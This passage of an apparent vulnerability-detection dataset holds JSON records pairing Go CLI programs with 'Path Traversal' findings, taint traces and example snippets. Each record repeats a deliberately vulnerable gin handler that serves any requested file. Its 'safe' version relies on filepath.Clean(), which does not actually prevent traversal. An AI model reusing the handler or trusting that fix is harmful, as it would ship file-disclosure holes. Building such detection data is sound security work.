"gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "c5980e1ae7d46f80266a0e3dc8ca1f9a6a692dc91a073e1855203a11c02e1f4d", "license": {"spdx": ["MIT"], "repo": "parsiya/Parsia-Code", "path": "gophercises/08-phone/main.go", "repo_head_hexsha": "e75bd9f7f295e6d8e584de67f90dd02cb75ae915", "stack_hexsha": "15703be4d84b87c6ea91c9254fa73193af1b9da1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 29, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/jmoiron/sqlx\"\n\t_ \"github.com/mattn/go-sqlite3\"\n)\n\nvar (\n\tphoneFile string\n\tdbFile string\n)\n\nfunc init() {\n\tflag.StringVar(&phoneFile, \"ph\", \"phones.txt\", \"file with original phone numbers\")\n\tflag.StringVar(&dbFile, \"db\", \"phones.db\", \"database file\")\n\tflag.Parse()\n}\n\nfunc main() {\n\n\tvar phones []string\n\t// Read the phone numbers from phones.txt.\n\tphoneFile, err := os.Open(phoneFile)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// Read line by line using bufio.Scanner.\n\tscanner := bufio.NewScanner(phoneFile)\n\tfor scanner.Scan() {\n\t\tphones = append(phones, scanner.Text())\n\t}\n\tif err = scanner.Err(); err != nil {\n\t\tfmt.Fprintln(os.Stdout, \"reading from file:\", err)\n\t}\n\n\t// Delete the database file.\n\tif err = os.Remove(dbFile); err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\t// Open the database (which creates the file because it was deleted).\n\tvar db *sqlx.DB\n\n\tdb, err = sqlx.Connect(\"sqlite3\", dbFile)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer db.Close()\n\n\tfmt.Println(\"Creating phone_numbers.\")\n\t// Create the table from scratch.\n\tcreateTable := \"CREATE TABLE phone_numbers(phone text);\"\n\t_, err = db.Exec(createTable)\n\t// Returns an error if table already exists.\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\tfmt.Println(\"Adding phone numbers to the table.\")\n\t// Add all phones to the phone_numbers table.\n\taddPhone := \"INSERT INTO phone_numbers(phone) VALUES (?);\"\n\tfor _, p := range phones {\n\t\tif _, err = db.Exec(addPhone, p); err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t}\n\n\t// Now all phones are in the table.\n\n\t// 1. Read all phones from the table.\n\t// 2. Normalize them.\n\t// 3. Add normalized values to a map.\n\n\t// We could use map[string]struct{} to save a few bytes.\n\tuniques := make(map[string]bool)\n\n\tfmt.Println(\"Reading from phone_numbers.\")\n\tlistPhones := \"SELECT * FROM phone_numbers;\"\n\trows, err := db.Query(listPhones)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfor rows.Next() {\n\t\tvar number string\n\t\terr = rows.Scan(&number)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t\tuniques[normalize(number)] = true\n\t}\n\n\t// Unique phone numbers are now in uniques.\n\n\tfmt.Println(\"Creating unique_numbers.\")\n\t// Create new table named unique_numbers.\n\tuniqueTable := \"CREATE TABLE unique_numbers(phone text);\"\n\t_, err = db.Exec(uniqueTable)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\tfmt.Println(\"Adding unique phone numbers to unique_numbers.\")\n\taddUnique := \"INSERT INTO unique_numbers(phone) VALUES (?);\"\n\tfor k := range uniques {\n\t\tif _, err = db.Exec(addUnique, k); err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t}\n\n\tfmt.Println(\"Reading unique phone numbers from unique_numbers.\")\n\tlistUniques := \"SELECT * FROM unique_numbers;\"\n\trows, err = db.Query(listUniques)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfor rows.Next() {\n\t\tvar number string\n\t\terr = rows.Scan(&number)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t\tfmt.Println(number)\n\t}\n}\n\n// normalize, removes all non-digits from the phone number.\nfunc normalize(n string) string {\n\tvar out bytes.Buffer\n\t// Iterate through runes. Down with regex.\n\tfor _, ch := range n {\n\t\tif '9' >= ch && ch >= '0' {\n\t\t\tout.WriteRune(ch)\n\t\t}\n\t}\n\treturn out.String()\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Open"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 29, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "520700b2723800ab08b5401cf90df037930fecbee7924246d22c447525a32f2f", "license": {"spdx": ["MIT"], "repo": "lelledaniele/upaygo", "path": "customer/customerstripe_integration_test.go", "repo_head_hexsha": "f0def36ad90a761b9b5c17477b7d6cdbb3b38519", "stack_hexsha": "a0176db34d9c68fda4f50474fc6562e9ac3a6fd9", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 30, "entireCode": "// +build stripe\n\npackage appcustomer_test\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/stripe/stripe-go/customer\"\n\n\tappcurrency \"github.com/lelledaniele/upaygo/currency\"\n\n\tappconfig \"github.com/lelledaniele/upaygo/config\"\n\tappcustomer \"github.com/lelledaniele/upaygo/customer\"\n)\n\nfunc TestMain(m *testing.M) {\n\tvar fcp string\n\n\tflag.StringVar(&fcp, \"config\", \"\", \"Provide config file as an absolute path\")\n\tflag.Parse()\n\n\tif fcp == \"\" {\n\t\tfmt.Print(\"Integration Stripe test needs the config file absolute path as flag -config\")\n\t\tos.Exit(1)\n\t}\n\n\tfc, e := os.Open(fcp)\n\tif e != nil {\n\t\tfmt.Printf(\"Impossible to get configuration file: %v\\n\", e)\n\t\tos.Exit(1)\n\t}\n\tdefer fc.Close()\n\n\te = appconfig.ImportConfig(fc)\n\tif e != nil {\n\t\tfmt.Printf(\"Error durring file config import: %v\", e)\n\t\tos.Exit(1)\n\t}\n\n\tos.Exit(m.Run())\n}\n\nfunc TestNewStripe(t *testing.T) {\n\temail := \"\"\n\tc, _ := appcurrency.New(\"EUR\")\n\n\tgot, e := appcustomer.NewStripe(email, c)\n\tif e != nil {\n\t\tt.Errorf(\"error during the appcustomer creation with Stripe: %v\", e)\n\t}\n\n\tif got.GetGatewayReference() == \"\" {\n\t\tt.Errorf(\"The new customer.gateway_reference is empty, got: %v\", got.GetGatewayReference())\n\t}\n\n\tif got.GetEmail() != email {\n\t\tt.Errorf(\"The new customer.email is incorrect, got: %v want %v\", got.GetEmail(), email)\n\t}\n\n\t_, _ = customer.Del(got.GetGatewayReference(), nil)\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 22, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 22, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 30, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "eaa723203b84eb34e6c18aac0a87de372727e5fce4b339d149068a854535c84a", "license": {"spdx": ["MIT"], "repo": "ecommandeur/simmstring", "path": "simmstring.go", "repo_head_hexsha": "bc6ad0e49cad2178bfb602d29baa7ed017eabbea", "stack_hexsha": "e243c49b42898ac5977296ffc1fef7c4e29d38b2", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 50, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"encoding/csv\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"sort\"\n\t\"strconv\"\n\n\t\"github.com/xrash/smetrics\"\n)\n\n// TODO Refactor big hairy main\n// TODO make it work for numcases > 1\n// Example\n// go run simmstring.go -source resources\\test_strings.txt -target resources\\ref_strings.txt -v\nfunc main() {\n\t//\n\t// Jaro Winkler parameters\n\t//\n\tboostThreshold := 0.7 // boostThreshold = minimum score for a string that gets boosted. This value was set to 0.7 in Winkler's papers.\n\tprefixSize := 4 // prefixSize = size of the initial prefix considered. This value was set to 4 in Winkler's papers.\n\n\t//\n\n\t//\n\t// ARGUMENTS\n\t//\n\tvar src string\n\tvar tar string\n\tvar verbose bool\n\tvar nummatches int\n\n\tflag.StringVar(&src, \"source\", \"\", \"(Required) Path to file with source strings.\")\n\tflag.StringVar(&tar, \"target\", \"\", \"(Required) Path to file with target strings.\")\n\tflag.BoolVar(&verbose, \"v\", false, \"(Optional) Verbose mode.\")\n\tflag.IntVar(&nummatches, \"n\", 1, \"(Optional) Number of matches.\")\n\n\tflag.Parse()\n\n\tif src == \"\" || tar == \"\" {\n\t\tprintUsage()\n\t\tos.Exit(1)\n\t}\n\n\t//Read source strings from a file\n\tsource, err := os.Open(src)\n\texitOnError(err, \"Oops cannot find source \"+src)\n\n\ttarget, err := os.Open(tar)\n\texitOnError(err, \"Oops cannot find target \"+tar)\n\n\tdefer target.Close()\n\ttargetScanner := bufio.NewScanner(target)\n\n\t//Get unique target strings\n\t//Use a map to get the set of unique target strings\n\ttargetStrings := make(map[string]bool)\n\tfor targetScanner.Scan() {\n\t\ttargetStr := targetScanner.Text()\n\t\tif verbose {\n\t\t\tif targetStrings[targetStr] {\n\t\t\t\tfmt.Print(targetStr, \" is already in targetStrings map\\n\") // debug\n\t\t\t} else {\n\t\t\t\tfmt.Print(\"Adding \", targetStr, \" to targetStrings map\\n\") // debug\n\t\t\t}\n\t\t}\n\t\ttargetStrings[targetStr] = true\n\t}\n\n\terr = targetScanner.Err()\n\texitOnError(err, \"Error reading target \"+tar)\n\n\tdefer source.Close()\n\tsourceScanner := bufio.NewScanner(source)\n\n\t//bestMatches := [][]string{}\n\tfor sourceScanner.Scan() {\n\t\tsourceStr := sourceScanner.Text()\n\t\t//as long as we keep bbestMatches sorted we know lowerLim/upperLim match\n\t\t//but we do not want to sort it each and every time\n\t\tvar bbestMatches []*SimPair\n\t\t//bestMatch stuff will be obsoleted by bbestMatch stuff\n\t\t//bestMatchDist := 0.0\n\t\t//bestMatchStr := \"\"\n\t\t//lowerLimMatch\n\t\tlowerLimDist := 1.0\n\t\t//start loop target strings\n\t\tfor targetStr := range targetStrings {\n\t\t\tdist := smetrics.JaroWinkler(sourceStr, targetStr, boostThreshold, prefixSize)\n\t\t\tif len(bbestMatches) == nummatches {\n\t\t\t\t// at this point there must be as many targets as nummatches\n\t\t\t\tif dist > lowerLimDist {\n\t\t\t\t\t// at this point we know that match is better than worst one we kept\n\t\t\t\t\t// if nummatches eq 1\n\t\t\t\t\t// keep new match as best match\n\t\t\t\t\t// set new match as lowerLimDist\n\t\t\t\t\t// if nummatches gt 1\n\t\t\t\t\t// add new match to best matches\n\t\t\t\t\t// sort bbestMatches\n\t\t\t\t\t// evict worst match\n\t\t\t\t\t// set second worst match as lowerLimDist\n\t\t\t\t\tif nummatches == 1 {\n\t\t\t\t\t\t// TODO can we just set bbestMatches anew?\n\t\t\t\t\t\tbbestMatches = []*SimPair{&SimPair{sourceStr, targetStr, dist}}\n\t\t\t\t\t\tlowerLimDist = dist\n\t\t\t\t\t}\n\t\t\t\t\tif nummatches > 1 {\n\t\t\t\t\t\tbbestMatches = append(bbestMatches, &SimPair{sourceStr, targetStr, dist})\n\t\t\t\t\t\tsort.Sort(ByDistance(bbestMatches))\n\t\t\t\t\t\t//fmt.Println(bbestMatches)\n\t\t\t\t\t\tbbestMatches = bbestMatches[1:]\n\t\t\t\t\t\t//fmt.Println(bbestMatches)\n\t\t\t\t\t\tlowerLimDist = bbestMatches[0].Distance\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t//As long as the number of pairs we have is less than the number of best matches\n\t\t\t//we can just append the match\n\t\t\tif len(bbestMatches) < nummatches {\n\t\t\t\tbbestMatches = append(bbestMatches, &SimPair{sourceStr, targetStr, dist})\n\t\t\t\tif dist < lowerLimDist {\n\t\t\t\t\tlowerLimDist = dist\n\t\t\t\t}\n\t\t\t}\n\t\t\t//if dist > bestMatchDist {\n\t\t\t//\tbestMatchDist = dist\n\t\t\t//\tbestMatchStr = targetStr\n\t\t\t//}\n\t\t\t//if verbose {\n\t\t\t//\tfmt.Print(sourceStr, \" \", targetStr, \" \", dist, \"\\n\")\n\t\t\t//}\n\t\t}\n\t\t// end loop target strings\n\t\t//print results to std out for each source str\n\t\tsort.Sort(ByDistance(bbestMatches))\n\t\tfor i := range bbestMatches {\n\t\t\tout := bbestMatches[i]\n\t\t\tfmt.Print(out.String())\n\t\t}\n\t\t//bestMatches = append(bestMatches, []string{sourceStr, bestMatchStr})\n\t\t//if verbose {\n\t\t//\tfmt.Print(\"best match \", bestMatchStr, \"\\n\")\n\t\t//}\n\t}\n\n\terr = sourceScanner.Err()\n\texitOnError(err, \"\")\n\n\t/* test sorting of SimPair - sorts ascending\n\tvar sp []*SimPair\n\tsp = append(sp, &SimPair{Source: \"a,a\", Target: \"b\", Distance: 2.5})\n\tsp = append(sp, &SimPair{Source: \"a\", Target: \"c\", Distance: 1.5})\n\tfmt.Println(sp[0].String())\n\tfmt.Println(sp)\n\tsort.Sort(ByDistance(sp))\n\tfmt.Println(sp)\n\t*/\n\n\t//At this point we have the best matches\n\t// TODO write out to a file\n\t// or just rely on piping to output ... ?\n\t// what is more efficient ?\n\t//for i := range bestMatches {\n\t//\tfmt.Print(bestMatches[i][0], \",\", bestMatches[i][1], \"\\n\")\n\t//}\n\n}\n\n// SimPair is pair of strings, a Source and a Target string, along with the Distance between that pair of strings\ntype SimPair struct {\n\tSource string\n\tTarget string\n\tDistance float64\n}\n\n// String writes SimPair as CSV string\nfunc (s SimPair) String() string {\n\trecord := []string{s.Source, s.Target, strconv.FormatFloat(s.Distance, 'f', -1, 64)}\n\tvar b bytes.Buffer\n\tw := csv.NewWriter(&b)\n\tw.Write(record)\n\tw.Flush()\n\tstr := b.String()\n\treturn str\n}\n\n// ByDistance is for sorting SimPairs by distance\ntype ByDistance []*SimPair\n\n// Len method of sort interface for ByDistance\nfunc (d ByDistance) Len() int { return len(d) }\n\n// Swap method of sort interface for ByDistance\nfunc (d ByDistance) Swap(i, j int) { d[i], d[j] = d[j], d[i] }\n\n// Less method of sort interface for ByDistance\nfunc (d ByDistance) Less(i, j int) bool { return d[i].Distance < d[j].Distance }\n\n// exitOnError exits with an error message if error is not nil\nfunc exitOnError(e error, msg string) {\n\tif e != nil {\n\t\tfmt.Println(msg)\n\t\tos.Exit(1)\n\t}\n}\n\n// printUsage prints help output\nfunc printUsage() {\n\tprintln(\"simmstring version 0.1-SNAPSHOT\")\n\tprintln(\"\")\n\tprintln(\"Usage:\")\n\tflag.PrintDefaults()\n\tprintln(\"\")\n\tprintln(\"Examples:\")\n\tprintln(\" simmstring -source resources\\\\test_strings.txt -target resources\\\\ref_strings.txt\")\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 50, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "0f842c50ce504b148d57b30b4737b1fd4c39d956bcb47ad343550399e5633e72", "license": {"spdx": ["Apache-2.0"], "repo": "rfpludwick/zonechat-server", "path": "configuration.go", "repo_head_hexsha": "4c785e368e1ed8f984e2c4d6263c673ba1f7529c", "stack_hexsha": "cb86dfd45b4f21b8634a7df05d5fac06a63bbf13", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 37, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"strconv\"\n\n\t\"gopkg.in/yaml.v2\"\n)\n\ntype Configuration struct {\n\tHostname string `yaml:\"hostname\"`\n\tPort int `yaml:\"port\"`\n\tAllowedHosts []string `yaml:\"allowed-hosts\"`\n\tHost string\n}\n\nvar (\n\tflagConfigurationFilename string\n\tflagHostname string\n\tflagPort int\n)\n\nfunc (c *Configuration) deriveValues() {\n\tc.Host = c.Hostname + \":\" + strconv.Itoa(c.Port)\n}\n\nfunc processConfiguration() *Configuration {\n\t// Parse CLI flags\n\tflag.StringVar(&flagConfigurationFilename, \"config\", \"configuration.yaml\", \"Configuration file to load\")\n\tflag.StringVar(&flagHostname, \"hostname\", \"\", \"Hostname to listen on\")\n\tflag.IntVar(&flagPort, \"port\", 0, \"Port to listen on\")\n\tflag.Parse()\n\n\t// Parse YAML configuration\n\tconfigurationFileContents, err := ioutil.ReadFile(flagConfigurationFilename)\n\n\tif err != nil {\n\t\tlog.Fatalln(\"Error reading configuration YAML:\", err)\n\t}\n\n\tvar c Configuration\n\n\terr = yaml.Unmarshal(configurationFileContents, &c)\n\n\tif err != nil {\n\t\tlog.Fatalln(\"Error parsing configuration YAML\", err)\n\t}\n\n\t// Override YAML configuration with flags\n\tif len(flagHostname) > 0 {\n\t\tc.Hostname = flagHostname\n\t}\n\n\tif flagPort > 0 {\n\t\tc.Port = flagPort\n\t}\n\n\t// Derived configurations\n\tc.deriveValues()\n\n\t// Return\n\treturn &c\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 37, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "60bb7eb07e53257dcefda1f4591fafce182ef19d9248e0d59441458cc3ad30e5", "license": {"spdx": ["CC0-1.0"], "repo": "mewmew/uc", "path": "cmd/uclang/uclang.go", "repo_head_hexsha": "5b0a9c42b013c0f2f0c922f0ea454dabe1ea05bf", "stack_hexsha": "b69e21a858c32b9fafe4f7fa0e0cd69783b4078f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 84, "entireCode": "// uclang is compiler for the µC language which validates the input, and prints\n// corresponding LLVM IR assembly to standard output.\n//\n// Usage: uclang [OPTION]... FILE...\n//\n// If FILE is -, read standard input.\n//\n// -debug\n// enable debug output\n// -gocc-lexer\n// use Gocc generated lexer\n// -no-colors\n// disable colors in output\n// -no-nested-functions\n// disable support for nested functions\n// -o string\n// output path\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\n\t\"github.com/kr/pretty\"\n\t\"github.com/mewkiz/pkg/errutil\"\n\t\"github.com/mewkiz/pkg/ioutilx\"\n\t\"github.com/mewmew/uc/ast\"\n\tgoccerrors \"github.com/mewmew/uc/gocc/errors\"\n\t\"github.com/mewmew/uc/gocc/parser\"\n\tgoccscanner \"github.com/mewmew/uc/gocc/scanner\"\n\thandscanner \"github.com/mewmew/uc/hand/scanner\"\n\t\"github.com/mewmew/uc/irgen\"\n\t\"github.com/mewmew/uc/sem\"\n\tsemerrors \"github.com/mewmew/uc/sem/errors\"\n\t\"github.com/mewmew/uc/sem/semcheck\"\n)\n\nfunc usage() {\n\tconst use = `\nUsage: uclang [OPTION]... FILE...\n\nIf FILE is -, read standard input.\n`\n\tfmt.Fprintln(os.Stderr, use[1:])\n\tflag.PrintDefaults()\n}\n\n// debug specifies whether to enable debug output.\nvar debug bool\n\nfunc main() {\n\tvar (\n\t\t// goccLexer specifies whether to use the Gocc generated lexer, instead of\n\t\t// the hand-written lexer.\n\t\tgoccLexer bool\n\t\t// noColors specifies whether to disable colors in output.\n\t\tnoColors bool\n\t\t// outputPath specifies the output path for the generated LLVM IR.\n\t\toutputPath string\n\t)\n\tflag.BoolVar(&debug, \"debug\", false, \"enable debug output\")\n\tflag.BoolVar(&goccLexer, \"gocc-lexer\", false, \"use Gocc generated lexer\")\n\tflag.BoolVar(&noColors, \"no-colors\", false, \"disable colors in output\")\n\tflag.BoolVar(&semcheck.NoNestedFunctions, \"no-nested-functions\", false, \"disable support for nested functions\")\n\tflag.StringVar(&outputPath, \"o\", \"\", \"output path\")\n\tflag.Usage = usage\n\tflag.Parse()\n\tsemerrors.UseColor = !noColors\n\tif flag.NArg() == 0 {\n\t\tflag.Usage()\n\t\tos.Exit(1)\n\t}\n\t// TODO: Remove once nested functions are supported. For now, disallow during\n\t// semantic analysis.\n\tsemcheck.NoNestedFunctions = true\n\n\t// Parse input.\n\toutput := os.Stdout\n\tif len(outputPath) > 0 {\n\t\tvar err error\n\t\toutput, err = os.Create(outputPath)\n\t\tif err != nil {\n\t\t\tlog.Fatal(errutil.Err(err))\n\t\t}\n\t\tdefer output.Close()\n\t}\n\tfor _, path := range flag.Args() {\n\t\terr := compileFile(path, output, goccLexer)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n}\n\n// checkFile performs a static semantic analysis check on the given file.\nfunc compileFile(path string, output io.Writer, goccLexer bool) error {\n\t// Lexical analysis\n\t// Syntactic analysis\n\t// Semantic analysis\n\t// Intermediate representation generation\n\n\t// Create lexer for the input.\n\tbuf, err := ioutilx.ReadFile(path)\n\tif err != nil {\n\t\treturn errutil.Err(err)\n\t}\n\tif path == \"-\" {\n\t\tpath = \"\"\n\t}\n\n\tfmt.Fprintf(os.Stderr, \"Compiling %q\\n\", path)\n\n\tvar s parser.Scanner\n\tif goccLexer {\n\t\ts = goccscanner.NewFromBytes(buf)\n\t} else {\n\t\ts = handscanner.NewFromBytes(buf)\n\t}\n\n\t// Parse input.\n\tp := parser.NewParser()\n\tf, err := p.Parse(s)\n\tif err != nil {\n\t\tif err, ok := err.(*goccerrors.Error); ok {\n\t\t\t// Unwrap Gocc error.\n\t\t\treturn parser.NewError(err)\n\t\t}\n\t\treturn errutil.Err(err)\n\t}\n\tfile := f.(*ast.File)\n\tinput := string(buf)\n\tsrc := semerrors.NewSource(path, input)\n\tinfo, err := sem.Check(file)\n\tif err != nil {\n\t\tif err, ok := err.(*errutil.ErrInfo); ok {\n\t\t\t// Unwrap errutil error.\n\t\t\tif err, ok := err.Err.(*semerrors.Error); ok {\n\t\t\t\t// Unwrap semantic analysis error, and add input source information.\n\t\t\t\terr.Src = src\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn errutil.Err(err)\n\t}\n\n\t// Generate LLVM IR module based on the syntax tree of the given file.\n\tmodule := irgen.Gen(file, info)\n\tif _, err := fmt.Fprint(output, module); err != nil {\n\t\treturn errutil.Err(err)\n\t}\n\tif debug {\n\t\tpretty.Println(module)\n\t}\n\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 84, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "6662b8a03c9e8c1330a94be70999566f425ed59b6eea90a54b800bb329913009", "license": {"spdx": ["BSD-3-Clause"], "repo": "dr2chase/go-bench-tweet-bot", "path": "cmd/bench-tweet/bench-tweet.go", "repo_head_hexsha": "c8daf038a2f78059cf36842df42cc154351e4e66", "stack_hexsha": "e81dd913e122c7bf7a0a2d6beace81adc31acfd9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 48, "entireCode": "// Copyright 2020 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage main\n\nimport (\n\t\"github.com/ChimeraCoder/anaconda\"\n\t\"os\"\n\t\"bufio\"\n\t\"fmt\"\n\t\"strings\"\n\t\"io/ioutil\"\n\t\"flag\"\n\t\"encoding/base64\"\n)\n\nconst credentials = \".twitter/drchase-benchmark-bot\"\n\nfunc main() {\n\tvar mediaFiles []string\n\tvar inputFileName string\n\tvar toTweet string\n\tflag.Var((*repeatedString)(&mediaFiles), \"m\", \"name of file containing twitter appropriate media\")\n\tflag.StringVar(&inputFileName, \"i\", inputFileName, \"name of file containing tweet text\")\n\tflag.StringVar(&toTweet, \"t\", toTweet, \"tweet text\")\n\tflag.Usage = func() {\n\t\tfmt.Printf(`Usage of %s:\nPost a tweet from either standard input or the file specified by -i,\nwith optional media from -m, to the account whose keys etc are found\nin %s\n`, os.Args[0], credentials)\n\t\tflag.PrintDefaults()\n\t}\n\tflag.Parse()\n\n\t// Has to be true.\n\tif 